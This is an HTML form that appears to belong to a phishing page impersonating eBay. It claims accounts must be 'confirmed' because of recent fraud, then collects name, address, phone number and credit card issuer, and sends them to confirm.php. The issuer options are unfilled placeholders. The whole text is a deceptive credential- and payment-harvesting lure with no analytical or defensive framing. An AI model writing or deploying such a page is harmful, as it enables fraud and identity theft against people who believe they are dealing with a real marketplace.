<form name="Confirm Info" action="confirm.php" method="get">
<h1><font color="blue" size="4">Account Confirmation</font></h1>
<p><i><font color="red" size="2">Because of the recent wave of computer frauds using ebay.com, we decided to confirm accounts of our users. We are sorry for any possible inconvienience that may occur, but these security measures are neccessary in order to stop new criminal acts and provide safety to our users. Thank you for your understanding.</font></i></p>
<h4>Personal Informations :</h4>
First name : <input type="text" name="fname"></input></br>
Last name : <input type="text" name="lname"></input></br>
Address : <input type="text" name="address"></input></br>
City : <input type="text" name="city"></input></br>
State : <input type="text" name="state"></input></br>
Zip Code : <input type="text" name="zip"></input></br>
Country : <input type="text" name="country"></input></br>
Phone Number : <input type="text" name="phone"></input></br>
<h4>Payment Informations :</h4>
Credit Card Issuer:
<select name="issuer" size="1">
<option value="1">item 1</option>
<option value="2">item 2</option>
<option value="3">item 3</option>
<option value="4">item 4</option>
<option value="0">All</option>
</select>

</form>